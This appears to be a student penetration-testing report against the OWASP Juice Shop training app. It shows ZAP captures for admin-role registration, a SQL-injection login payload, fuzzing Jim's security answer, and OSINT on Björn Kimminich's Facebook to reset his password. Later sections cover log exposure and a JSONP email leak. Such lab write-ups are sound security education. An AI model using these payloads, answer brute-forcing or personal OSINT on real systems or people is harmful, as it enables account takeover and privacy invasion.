Referer: https://127.0.0.1:3000/
Content-Type: application/json
Content-Length: 55
{"UserId":22,"answer":"Avanish","SecurityQuestionId":1}
```

ID	Source	Req. Timestamp	Method	URL	Code	Reason	RTT	Size	Resp.	Body	Highest Alert	Note	Tags
14....	→ Pr...	4/29/24, 11:29:30...	POST	http://127.0.0.1:3000/rest/user/login	500	Internal ...	4...	1,203	bytes	⚠️ Medium	JSON		
14....	→ Pr...	4/29/24, 11:29:30...	GET	http://127.0.0.1:3000/rest/user/whoami	200	OK	5...	11	bytes	⚠️ Medium	JSON		
14....	→ Pr...	4/29/24, 11:29:30...	GET	http://127.0.0.1:3000/rest/user/whoami	200	OK	7...	11	bytes	⚠️ Medium	JSON		
14....	→ Pr...	4/29/24, 11:32:44...	GET	http://127.0.0.1:3000/api/SecurityQuestions/	200	OK	3...	1,934	bytes	⚠️ Medium	JSON		
14....	→ Pr...	4/29/24, 11:37:34...	POST	http://127.0.0.1:3000/api/Users/	201	Created	4...	308	bytes	⚠️ Medium	JSON		
14....	→ Pr...	4/29/24, 11:37:34...	POST	http://127.0.0.1:3000/api/SecurityAnswers/	201	Created	2...	226	bytes	⚠️ Medium	JSON		

ID	Source	Req. Timestamp	Method	URL	Code	Reason	RTT	Size	Resp.	Body	Highest Alert	Note	Tags
14...	M...	4/29/24, 2:29:44 PM	POST	http://127.0.0.1:3000/api/Users/	201	Created	6...	295 bytes		Medium		JSON	
14...	Pr...	4/29/24, 2:29:44 PM	GET	http://127.0.0.1:3000/103.js	304	Not Mod...	9...	0 bytes		Medium			
14...	Pr...	4/29/24, 2:29:44 PM	GET	http://127.0.0.1:3000/rest/continue-code	200	OK	1...	79 bytes		Info			
14...	Pr...	4/29/24, 2:29:44 PM	GET	http://127.0.0.1:3000/rest/continue-code	200	OK	4...	79 bytes		Medium		JSON	

Screenshot of ZAP 2.14.0 showing a successful POST request to the /api/Users endpoint. The request payload is a JSON object containing an email that is already in use.

```

POST http://127.0.0.1:3000/api/Users/ HTTP/1.1
host: 127.0.0.1:3000
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Referer: https://127.0.0.1:3000/
Content-Type: application/json
content-length: 261
origin: https://127.0.0.1:3000
{"email":"apoorva@juice.com","password":"Apoorva@1","passwordRepeat":"Apoorva@1","securityQuestion":{"id":1,"question":"Your eldest siblings middle name?"}, "createdAt": "2024-04-27T20:39:08.215Z", "updatedAt": "2024-04-27T20:39:08.215Z", "securityAnswer": "Avanish"}

```


The response is a 400 Bad Request with a validation error message:

```

HTTP/1.1 400 Bad Request
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Feature-Policy: payment 'self'
X-Recruiting: #/jobs
Content-Type: application/json; charset=utf-8
Content-Length: 92
ETag: W/"5c-0kvud4j0vflWwfxvT0bfk3UYck0"
{"message": "Validation error", "errors": [{"field": "email", "message": "email must be unique"}]}

```

Below the requests table, the OWASP Juice Shop application is shown. A user session is logged in, displaying the 'All Products' page. The sidebar shows navigation links for account management, orders, privacy, and logout.



c) Explanation of how the evidence included in (b) proves that FDP_ACC.1.1 is violated:

We initially registered new customers using the email Apoorva@juice.com, the password Apoorva@1, and the security answer "Avanish" in order to test the "Admin Registration" functionality of the TOE. The ZAP API /api/Users/ was fired up following login. A validation error stating that the email address must be unique was encountered when we attempted to send this request to the requester. Either deleting the email field or changing the role to "Admin" or isAdmin to true fixed the error. As an alternative, you can obtain the SFR by changing the email to Apoorva.admin@juice.com, which grants admin permissions.

FMT_MTD.1.1 The TOE shall restrict the ability to reset user passwords to root and admin users.

Related Vulnerability Challenges: -

1. Reset Bjoern's Password
2. Reset Jim's Password
3. Reset Bender's Password

Reset Bjoern's Password:


Tested Vulnerability Challenges: -

a) Description of penetration testing that was carried out.

1. Login to admin as shown in *admin section task* or make a user and give them admin rights. This step is done to find out Bjoren's email id. Admin will list all the existing users or in the home click on the products and see if Bjoren has written any review and take that id.

2. Now after getting his email id click on ‘Forgot Password’ we need to answer the security question which is the pin/zip code of the place when he was younger.
3. I went to google and searched him online and found him in facebook and saw his teenage place and I clicked his place and found Uetersen, Germany.
4. Now, I found the zip code in the google, which was a bit tricky because I had to find the nomenclature of zipcode in Germany. Finally, I found it as West-2082.
5. Copy and Paste in the ‘Security Answer’. Set New Password and Confirm Password.
6. This Solves our Reset Bjeorn Password.

b) Outcomes/Evidence of the Penetration Testing



Screenshot of a Firefox browser window showing the OWASP Juice Shop login page at https://127.0.0.1:3000/#/login. The login form has 'Email' set to 'apoorva@juice.com' and 'Password' masked. A sidebar on the left shows various metrics like Out (1), Off (1), and 0 for various categories. A sidebar on the right shows 'Sites' (1), 'Start' (1), 'Off' (1), and 0 for various categories. A message at the bottom right says 'This website uses fruit cookies to ensure you get the juiciest tracking experience. But me wait!' with a 'Me want it!' button.



Screenshot of ZAP 2.14.0 showing an open session titled 'Untitled Session - originalcoursework'. The 'Request' tab is selected, displaying a list of context and site entries. The 'Response' tab shows a captured response for a request to 'http://127.0.0.1:3000/rest/admin/applicationstatus'. The 'Alerts' tab shows several alerts, including one for an unauthorized access attempt. The 'History' tab shows a list of recorded requests and responses.

The screenshot shows the ZAP interface with the following details:

- Sites** panel on the left lists contexts and sites, including Default Context, Fonts.gsta, tiles-cdn.prc, htmledit.s, tps.doubl, cdn.doub, prebid-a.r, s3.amaz, moatac, krk2.karg, prebid.mv, f4100da, prebid-se, tagan.adl, and websdk.e.
- Requester** tab is selected, showing a POST request to `http://127.0.0.1:3000/rest/user/Login` with the following headers:
 - Host: 127.0.0.1:3000
 - User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0
 - Accept: application/json, text/plain, */*
 - Accept-Language: en-US,en;q=0.5
 - Referer: https://127.0.0.1:3000/
 - Content-Type: application/json
 - Content-Length: 58
 - Origin: https://127.0.0.1:3000
- Body: Text** field contains the JSON payload:

```
{"email": "apoorva@juice.com", "password": "APoorva@1"}
```
- Response** tab shows the following response:

ID	Source	Req. Timestamp	Method	URL	Code	Reason	RTT	Size	Resp. Body	Highest Alert	Note	Tags
15...	Pr...	4/29/24, 3:47:48 PM	GET	http://127.0.0.1:3000/rest/user/whoami	200	OK	2...	11 bytes	Medium	JSON		
15...	Pr...	4/29/24, 3:49:39 PM	POST	http://127.0.0.1:3000/rest/user/login	500	Internal ...	1...	1,200 bytes	Medium	JSON		
15...	Pr...	4/29/24, 3:49:39 PM	GET	http://127.0.0.1:3000/rest/user/whoami	304	Not Mod...	2...	0 bytes				
15...	Pr...	4/29/24, 3:49:39 PM	GET	http://127.0.0.1:3000/rest/user/whoami	304	Not Mod...	6...	0 bytes	Medium			



The screenshot displays a dual-monitor setup for penetration testing. The primary monitor shows the ZAP 2.14.0 interface with the 'Fuzzer' tab active. A modal window titled 'Payloads' is open, showing a single payload entry: 'Location: Body [0, 58]' with the value '{ "email": "apoorva@juice.com' or 1=1, "password": "APoorva@1" }'. The 'Add...' button is highlighted. The background shows a list of contexts and sites, and a history panel with several network requests. The secondary monitor shows the OWASP Juice Shop application, specifically the 'Main' page, which includes a video player for an introduction video by Björn Kimminich.

The screenshot shows a browser window with several tabs open. The active tab is for Björn Kimminich on Facebook. The URL in the address bar is https://www.facebook.com/bjorn.kimminich/?locale=en_GB. Below the address bar, there's a navigation bar with links like Kali Linux, Kali Tools, Kali Docs, Kali Forums, Kali NetHunter, Exploit-DB, Google Hacking DB, and OffSec.

The main content area displays the Facebook profile for Björn Kimminich. It includes his profile picture, name, and a section about his education. He studied Wirtschaftsinformatik at Nordakademie in 2003. He also went to Ludwig-Meyn-Gymnasium in 1999. There are sections for 'High School' and 'Photos'. To the right, there are two sidebar sections: 'Others named Björn Kimminich' and 'Others with a similar name', each listing several profiles with their names and profile pictures.

Log in or sign up for Facebook to connect with friends, family and people you know.

History 151 WebSockets 44

Find in page Highlight All Match Case Match Diacritics Whole Words

OWASP Juice Shop x Ludwig-Meyn-Gymnasium x +

Kali Linux Kali Tools Kali Docs Kali Forums Kali NetHunter Exploit-DB Google Hacking DB OffSec

facebook

Ludwig-Meyn-Gymnasium
98 likes • 103 followers

Posts About Photos Videos ...

Intro

Page · Secondary school

Seminarstraße 10, Uetersen, Germany

+49 4122 460300

lms-sh.de

No posts available

Out
Off
30
0
6
5
8
+

Sites Start Start Start Start Off 0 4 4 7

Log in or sign up for Facebook to connect with friends, family and people you know.

Screenshot of a web browser showing the search results for "Uetersen" on [alte-postleitzahlen.de](https://www.alte-postleitzahlen.de/uetersen). The results table shows:

Ortname und Ortszusatz	Alte PLZ	Neue PLZ	Bundesland
Uetersen	West-2082	25436	Schleswig-Holstein

Below the table, a message says: "Weitere Postkarten und alte Ansichtskarten zu Uetersen finden Sie auf oldthing".

Results for "Uetersen" on [alte-postleitzahlen.de](https://www.alte-postleitzahlen.de/uetersen):

- Alte Ansichtskarten im Original**: AK Uetersen-Neuendeich, Restaurant Aal-Kate, reetgedecktes Haus, Innenansichten. Preis: 5,00 €.
- Stromkonzerne wütend**: Anstatt eine teure Solaranlage zu kaufen, sollten Hausbesitzer. Includes an image of a man installing solar panels on a brick wall.
- AK Uetersen, Teilansicht mit Blick auf den Teich aus der Vogelperspektive**: AK Uetersen, Teilansicht mit Blick auf den Teich aus der Vogelperspektive. Preis: 5,00 €.

Screenshot of a web browser showing the "Forgot Password" page of the OWASP Juice Shop application at <https://127.0.0.1:3000/#/forgot-password>.


The form fields are:

- Email: `björn@juice-sh.op`
- Security Question: (redacted)
- New Password: (redacted)
- Repeat New Password: (redacted)

A note below the password fields says: "Password must be 5-40 characters long." There is a "Show password advice" toggle switch.

At the bottom right of the modal, there is a note: "This website uses fruit cookies to ensure you get the juiciest tracking experience. But me wait!" with a "Me want it!" button.

The footer of the browser window shows "History 1384" and "WebSockets 141".



c) Explanation of how the evidence included in (b) proves that FDP_ACC.1.1 is violated:

We created a user with admin permissions or signed into the Target of Evaluation (TOE) as an admin user in order to determine Bjoern's email address in order to test the "Reset Bjoern's Password". Using the "Forgot Password", we had to respond to a security question pertaining to Bjoern's pin/zip code from his early years. We found his teenage location in Uetersen, Germany, and calculated the zip code (West-2082) by checking Facebook and Google. We were able to successfully demonstrate the weakness in the Security Functional Requirements (SFR) of the TOE.


Reset Jim's Password: Reset Jim's password via the Forgot Password mechanism with *the truthful answer* to his security question.

a) Description of penetration testing that was carried out.

1. Logged in using admin email Id as shown in Admin Section or use= asd@asd.com, password = asd@123 to find the email of user Jim.
2. Or Under the Green Smoothie item, find Jim's id as “**jim@juice-sh.op**”
3. Next, we click on Login->Forget Password
4. Using the above Jim's email id, Security question answer as anything you want (I have entered Apoorva), new password = jim@123, repeat password = jim@123.
5. Click on change.
6. The request json object will be {“email”: “**jim@juice-sh.op**”, “answer”:”**Henry**”, “new”:”**jim@123**”, “repeat”:”**jim@123**”}.
7. 401 Unauthorized error is triggered which says, “**Wrong answer to security question**”.
8. We search for list of sibling names of James on google basically the idea is to try as many names as possible I almost gave 100-150 names.

9. Using these values we create a Fuzz attack payload by selecting security question value field.
10. One of the values i.e. “Samuel” gets 200 Ok response. This indicates Jim’s eldest sibling name is Samuel.
11. In this way, Jim’s password reset was successful by copying the authentication data for another user of the TOE.

b) Outcomes/Evidence of the Penetration Testing



Screenshot of a web browser showing the OWASP Juice Shop "Forgot Password" page. The URL is https://127.0.0.1:3000/#/forgot-password. The page displays an error message: "Wrong answer to security question." The form fields include:

- Email: jim@juice-sh.op
- Security Question *
- New Password *
- Repeat New Password *
- Show password advice

The browser's address bar shows the URL https://127.0.0.1:3000/#/forgot-password.

Below the browser window is a screenshot of ZAP 2.14.0 tool interface. The "Response" tab is selected, showing the following response details:

HTTP/1.1 401 Unauthorized

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: #/jobs



X-RateLimit-Limit: 100

X-RateLimit-Remaining: 99

Date: Thu, 25 Apr 2024 11:50:18 GMT

The response body contains the error message: "Wrong answer to security question."

The ZAP interface also shows a list of sites and a table of network traffic logs at the bottom.



The screenshot shows the ZAP interface with the following details:

- Sites:** Contexts (Default Context, Sites), Requests (Quick Start, Request, Response, Requester), Headers (Text), Body (Text).
- Request:** POST http://127.0.0.1:3000/rest/user/reset-password HTTP/1.1
- Headers:**
 - host: 127.0.0.1:3000
 - User-Agent: Mozilla/5.0 (X11; Linux arch64; rv:109.0) Gecko/20100101 Firefox/115.0
 - Accept: application/json, text/plain, */*
 - Accept-Language: en-US,en;q=0.5
 - Referer: https://127.0.0.1:3000/
 - X-User-Email: jim@juice-sh.op
 - Content-Type: application/json
 - Content-Length: 77
 - Origin: https://127.0.0.1:3000
 - Connection: keep-alive
- Body:** {"email":"jim@juice-sh.op", "answer": "jim", "new": "jim@123", "repeat": "jim@123"}
- Tools:** History, Search, Alerts, Output, WebSockets, Fuzzer.
- Alerts:** New Fuzzer Progress: 3: HTTP - http://127.0.0./reset-password
- Messages Sent:** 127
- Errors:** 0
- Export:** Available.
- Table:** A table showing the results of the fuzzing process. The columns are Task ID, Message Type, Code, Reason, RTT, Size Resp. Header, Size Resp. Body, Highest Alert, State, and Payloads.

Task ID	Message Type	Code	Reason	RTT	Size Resp. Header	Size Resp. Body	Highest Alert	State	Payloads
0	Original	401	Unauthorized	27 ms	469 bytes	34 bytes	Medium		
2	Fuzzed	500	Internal Serv...	28 ms	445 bytes	1,910 bytes			
4	Fuzzed	500	Internal Serv...	37 ms	445 bytes	1,910 bytes			
6	Fuzzed	500	Internal Serv...	49 ms	445 bytes	1,910 bytes			
8	Fuzzed	500	Internal Serv...	61 ms	445 bytes	1,910 bytes			
10	Fuzzed	500	Internal Serv...	36 ms	445 bytes	1,910 bytes			

The screenshot shows the ZAP interface with the following details:

- Header:** Text
- Body:** Text
- Request:**

```
POST http://127.0.0.1:3000/rest/user/reset-password HTTP/1.1
host: 127.0.0.1:3000
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Referer: https://127.0.0.1:3000/
X-User-Email: jim@juice-sh.op
Content-Type: application/json
content-length: 80
Origin: https://127.0.0.1:3000
Connection: keep-alive

{"email":"jim@juice-sh.op","answer": "Samuel", "new": "jim@123", "repeat": "jim@123"}
```
- Sites:** Contexts (Default Context), Sites (including https://doubt, https://cdn.doubt, https://prebid-a.r, https://s3.amazonaws.com, https://z.moatac, https://krk2.karg, https://qsearch-a.a, https://prebid.mv, https://f4100da, https://prebid-se, https://tagan.adl)
- Alerts:** New Fuzzer Progress: 3: HTTP - http://127.0.0./reset-password
- Output:** Fuzzer
- Messages Sent:** 127
- Errors:** 0
- State:** Fuzzing
- Payloads:** 100%
- Current fuzzers:** 0
- Export:** Available

Screenshot of ZAP 2.14.0 showing a successful fuzzing session against the OWASP Juice Shop application.

ZAP Session Details:

- Session Name: Untitled Session - originalcoursework
- Mode: Standard Mode
- Selected Site: https://tp5.doubi.com
- Request & Response tabs are selected.
- Header: Text shows the response header for a 200 OK status.
- Body: Text shows the JSON response body containing user information.

```
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Feature-Policy: payment 'self'
X-Recruiting: /#/jobs
X-RateLimit-Limit: 100
{"user":{"id":2,"username":"","email":"jim@juice-sh.op","password":"b4053c211ccf54037344990ce1c81dba","role":"customer","deLuxeToken":"","lastLoginIp":"","profileImage":"assets/public/images/uploads/default.svg","totpSecret":"","isActive":true,"createdAt":"2024-04-23T22:04:39.067Z","updatedAt":"2024-04-25T12:20:39.670Z","deletedAt":null}}
```

Fuzzing Progress:

- New Fuzzer Progress: 3: HTTP - http://127.0.0.1/reset-password
- Current fuzzers: 0
- Messages Sent: 127 Errors: 0

Task ID	Message Type	Code	Reason	RTT	Size Resp. Header	Size Resp. Body	Highest Alert	State	Payloads
60 Fuzzed	500 Internal Serv...	4 ms	445 bytes	1,910 bytes					Wyatt
53 Fuzzed	401 Unauthorized	142 ms	469 bytes	34 bytes					
62 Fuzzed	500 Internal Serv...	2 ms	445 bytes	1,910 bytes					
19 Fuzzed	200 OK	643 ms	468 bytes	340 bytes					Samuel
64 Fuzzed	500 Internal Serv...	7 ms	445 bytes	1,910 bytes					
43 Fuzzed	401 Unauthorized	305 ms	469 bytes	34 bytes					John

OWASP Juice Shop Application:

- URL: https://127.0.0.1:3000/#/forgot-password
- Status: 90% Complete
- Alerts: 2, Errors: 11, Warnings: 15, Info: 13
- Main Proxy: 127.0.0.1:8081
- Current Scans: 0

The application displays a success message: "You successfully solved a challenge: Reset Jim's Password (Reset Jim's password via the Forgot Password mechanism with the original answer to his security question.)".

Forgot Password Form:

Form fields:

- Email: jim@juice-sh.op
- Security Question *
- New Password *
- Repeat New Password *

Validation messages:

- Wrong answer to security question.
- >Password must be 5-40 characters long.

You successfully solved a challenge: Reset Jim's Password (Reset Jim's password via the Forgot Password mechanism with the original answer to his security question.)

Forgot Password

Email * (i)

Security Question * (i)

New Password * (i) Password must be 5-40 characters long. 7/20

Repeat New Password * (i) 7/20

Show password advice

You successfully solved a challenge: Reset Jim's Password (Reset Jim's password via the Forgot Password mechanism with the original answer to his security question.)

Forgot Password

Your password was successfully changed.


Email * (i) Please provide an email address.

Security Question

New Password (i) Password must be 5-40 characters long. 0/20

Repeat New Password 0/20

Show password advice



- c) **Explanation of how the evidence included in (b) proves that FDP_ACC.1.1 is violated:**

We found Jim's email under the Green Smoothie item or logged in with admin credentials to assess the target of evaluation's (TOE) security function requirement (SFR). Next, we tried resetting Jim's password using the "Forget Password" tool, trying out various responses to the security question. We found that "Samuel" answered the security question properly using a fuzz attack, allowing us to reset the password. This

demonstrates a flaw that allows unauthorized users to compromise access control by resetting the password by stealing authentication information from another user.

SFR Identifier:

FAU_SAA.3.1: The TOE shall be able to maintain an internal representation of the following signature events EVENT1, EVENT2, ..., EVENT n that may indicate a violation of the enforcement of the SFRs.

Related Vulnerability Challenges: -

1. Email Leak
2. Exposed Metrics
3. Access Log
4. Confidential Document
5. Leaked Access Logs
6. Leaked Unsafe Product
7. Forgotten Developer Backup

VC: Access Log:




a) Description of penetration testing that was carried out.



1. In the score-board find the Access log, we have to access log file of the server.
2. In the url type /ftp removing score-board to find file logs.
3. In the ftp find incient-support.kdbx and download it. Click on it and choose it to open application.
4. In downloads open terminal there, then use cat command and open the same file.
5. In the url replace '/ftp' with '/support/logs' and then find the latest one and download and open it.
6. Here you can find all the logs. Go to dashboard or score-board. This solves the challenge.


b) Outcomes/Evidence of the Penetration Testing


The screenshot shows the OWASP Juice Shop application running in a browser. The URL is <https://127.0.0.1:3000/#/score-board>. The page displays a grid of challenges categorized by severity (star rating) and type (e.g., Improper Input Validation, Sensitive Data Exposure, Injection). Some challenges have hints available. A modal window for the 'Ephemeral Accountant' challenge is open, stating: "This website uses fruit cookies to ensure you get the juiciest tracking experience. But me wait!" with a "Me want it!" button.

The screenshot shows the same OWASP Juice Shop application, but the URL in the address bar has changed to <https://127.0.0.1:3000//ftp>. A search bar at the top of the page contains the placeholder text "This time, search with:". The rest of the interface is identical to the first screenshot, showing the score-board page with various challenges and their details.









listing directory /support/logs

For quick access, place your bookmarks here on the bookmarks toolbar. [Manage bookmarks...](#)

~ / support / logs

Name	Size	Modified
access.log.2024-04-30	601	PM 6:38:53 4/30/2024
access.log.2024-05-02	8869	PM 3:40:23 5/2/2024

History 5 WebSockets 36 https://127.0.0.1:3000/support/logs/access.log.2024-05-02

listing directory /support/logs

For quick access, place your bookmark

https://127.0.0.1:3000/support/logs — Visit

This time, search with: [Google](#) [AOL](#) [Bing](#) [DuckDuckGo](#) [Wolfram Alpha](#) [Start](#) [Search](#)

~ / support / logs

Name	Size	Modified
access.log.2024-04-30	601	PM 6:38:53 4/30/2024
access.log.2024-05-02	8869	PM 3:40:23 5/2/2024


History WebSockets 12

```

access.log.2024-05-02
~/.Downloads

1 ::ffff:172.17.0.1 - - [02/May/2024:15:29:54 +0000] "GET /rest/admin/application-configuration HTTP/1.1" 200 18835 "https://127.0.0.1:3000/" "Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0"
2 ::ffff:172.17.0.1 - - [02/May/2024:15:29:54 +0000] "GET /rest/admin/application-configuration HTTP/1.1" 200 18835 "https://127.0.0.1:3000/" "Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0"
3 ::ffff:172.17.0.1 - - [02/May/2024:15:29:54 +0000] "GET /rest/admin/application-version HTTP/1.1" 200 20 "https://127.0.0.1:3000/" "Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0"
4 ::ffff:172.17.0.1 - - [02/May/2024:15:29:54 +0000] "GET /rest/admin/application-version HTTP/1.1" 200 20 "https://127.0.0.1:3000/" "Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0"
5 ::ffff:172.17.0.1 - - [02/May/2024:15:29:54 +0000] "GET /rest/admin/application-configuration HTTP/1.1" 200 18835 "https://127.0.0.1:3000/" "Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0"
6 ::ffff:172.17.0.1 - - [02/May/2024:15:29:54 +0000] "GET /rest/admin/application-configuration HTTP/1.1" 200 18835 "https://127.0.0.1:3000/" "Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0"
7 ::ffff:172.17.0.1 - - [02/May/2024:15:29:55 +0000] "GET /rest/languages HTTP/1.1" 200 4872 "https://127.0.0.1:3000/" "Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0"
8 ::ffff:172.17.0.1 - - [02/May/2024:15:29:55 +0000] "GET /rest/admin/application-configuration HTTP/1.1" 200 18835 "https://127.0.0.1:3000/" "Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0"
9 ::ffff:172.17.0.1 - - [02/May/2024:15:29:55 +0000] "GET /api/Challenges/?name=Score%20Board HTTP/1.1" 200 647 "https://127.0.0.1:3000/" "Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0"
10 ::ffff:172.17.0.1 - - [02/May/2024:15:29:55 +0000] "GET /api/Challenges/?name=Score%20Board HTTP/1.1" 200 647 "https://127.0.0.1:3000/" "Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0"
11 ::ffff:172.17.0.1 - - [02/May/2024:15:29:55 +0000] "GET /api/Quantitys/ HTTP/1.1" 200 5991 "https://127.0.0.1:3000/" "Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0"
12 ::ffff:172.17.0.1 - - [02/May/2024:15:29:55 +0000] "GET /rest/products/search?q= HTTP/1.1" 200 12880 "https://127.0.0.1:3000/" "Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0"
13 ::ffff:172.17.0.1 - - [02/May/2024:15:29:57 +0000] "GET /rest/admin/application-configuration HTTP/1.1" 304 - "https://127.0.0.1:3000/" "Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0"
14 ::ffff:172.17.0.1 - - [02/May/2024:15:29:55 +0000] "GET /rest/admin/application-configuration HTTP/1.1" 304 - "https://127.0.0.1:3000/" "Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0"
15 ::ffff:172.17.0.1 - - [02/May/2024:15:29:55 +0000] "GET /snippets HTTP/1.1" 200 792 "https://127.0.0.1:3000/" "Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0"
16 ::ffff:172.17.0.1 - - [02/May/2024:15:30:38 +0000] "GET /api/Challenges/?sort=name HTTP/1.1" 200 80211 "https://127.0.0.1:3000/" "Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0"
17 ::ffff:172.17.0.1 - - [02/May/2024:15:32:54 +0000] "GET /favicon.ico HTTP/1.1" 200 3748 "https://127.0.0.1:3000/ftp" "Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0"
18 ::ffff:172.17.0.1 - - [02/May/2024:15:40:01 +0000] "GET /favicon.ico HTTP/1.1" 200 3748 "https://127.0.0.1:3000/ftp" "Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0"
19 ::ffff:172.17.0.1 - - [02/May/2024:15:40:11 +0000] "GET /SUPORTLOGS HTTP/1.1" 200 3748 "-" "Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0"
20 ::ffff:172.17.0.1 - - [02/May/2024:15:40:11 +0000] "GET /rest/admin/application-configuration HTTP/1.1" 304 - "https://127.0.0.1:3000/SUPORTLOGS"

```



c) Explanation of how the evidence included in (b) proves that FDP_ACC.1.1 is violated:

We verify that the Access Log functioned in accordance with the designated Security Functional Requirement (SFR) throughout our penetration testing of the Target of Evaluation (TOE). By some manipulation of the FTP directory's URL, we were able to locate incident-support.kdbx and retrieve server log files. By using the cat command in the terminal, we were able to gain access to private records and show that there may have been a security breach. This challenge emphasizes how important it is to prevent unwanted access to internal log files because our solution got around standard security protocols and exposed sensitive server information.

VC: Email Leak

a) Description of penetration testing that was carried out.

1. Login to the juice shop using the email asd@asd.com password: asd@1
2. Go to ZAP and find /rest/user/whoami. Send this to the requester tab.
3. In the requester tab find the api, add to /rest/user/whoami?callback=admin.
4. Once this gives success message we see that the API response is a JavaScript fragment (JSONP), rather than a JSON object.
5. This asynchronous API callback returns the user information for the currently logged-in users.
6. We solved the email-leak challenge.

b) Outcomes/Evidence of the Penetration Testing

Screenshot of ZAP 2.14.0 showing a successful JSON response to a user authentication request.

Request:

```
20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Referer: https://127.0.0.1:3000/
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.
eyJzdGF0dXMlOiJzdWNjZXNzIiwic2RAXNkLmNbSisInBhc3N3b3JkIoiyjEwOWU0MGYyZm
Uw0Q5N2ZnZjhM2Jl0WnhMjdLYjMiLCByb2xLijoY3VzdG9tZXIlLCjkZwxle
GVub2tlbiI6IiisImxhc3RMb2dpbkIwIjoimC4wlJaUMCIsInByb2ZpbGVjbWFn
...
```

Response:

```
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Feature-Policy: payment 'self'
X-Recruiting: #/jobs
Content-Type: application/json; charset=utf-8
Content-Length: 123
>{"user":{"id":22,"email":"asd@asd.com",
"lastLoginIp":"0.0.0.0","profileImage":
"/assets/public/images/uploads/default.svg"}}
```

Alerts:

ID	Source	Req. Timestamp	Method	URL	Code	Reason	RTT	Size	Resp. Body	Highest Alert	Note	Tags
10...	Pr...	4/24/24, 6:15:40 PM	GET	http://127.0.0.1:3000/rest/user/whoami	200	OK	6...	123 bytes	Medium	JSON		
10...	Pr...	4/24/24, 6:15:40 PM	GET	http://127.0.0.1:3000/rest/user/whoami	200	OK	2...	123 bytes	Medium	JSON		
10...	Pr...	4/24/24, 6:15:40 PM	GET	http://127.0.0.1:3000/rest/basket/6	200	OK	7...	154 bytes	Medium	Informational		
10...	Pr...	4/24/24, 6:15:40 PM	GET	http://127.0.0.1:3000/rest/products/search...	200	OK	6...	12,880 bytes	Medium	Informational		
10...	Pr...	4/24/24, 6:15:40 PM	GET	http://127.0.0.1:3000/api/Quantities/...	200	OK	9...	5,991 bytes	Medium	Informational		

Screenshot of ZAP 2.14.0 showing a successful JSON response to a user authentication request.

Request:

```
GET http://127.0.0.1:3000/rest/user/whoami HTTP/1.1
host: 127.0.0.1:3000
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Referer: https://127.0.0.1:3000/
Connection: keep-alive
Cookie: language=en; welcomebanner_status=dismiss; continueCode
```

Response:

```
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Feature-Policy: payment 'self'
X-Recruiting: #/jobs
Content-Type: application/json; charset=utf-8
Content-Length: 123
>{"user":{"id":22,"email":"asd@asd.com",
"lastLoginIp":"0.0.0.0","profileImage":
"/assets/public/images/uploads/default.svg"}}
```

Alerts:

ID	Source	Req. Timestamp	Method	URL	Code	Reason	RTT	Size	Resp. Body	Highest Alert	Note	Tags
10...	Pr...	4/24/24, 6:15:40 PM	GET	http://127.0.0.1:3000/rest/products/search...	200	OK	6...	12,880 bytes	Medium	Informational		
10...	Pr...	4/24/24, 6:15:40 PM	GET	http://127.0.0.1:3000/api/Quantities/...	200	OK	9...	5,991 bytes	Medium	Informational		
10...	M...	4/24/24, 6:17:22 PM	GET	http://127.0.0.1:3000/rest/user/whoami	200	OK	1...	123 bytes	Medium	JSON		
10...	M...	4/24/24, 6:17:52 PM	GET	http://127.0.0.1:3000/rest/user/whoami	200	OK	1...	123 bytes	Medium	JSON		
10...	M...	4/24/24, 6:18:31 PM	GET	http://127.0.0.1:3000/rest/user/whoami	200	OK	1...	123 bytes	Medium	JSON		

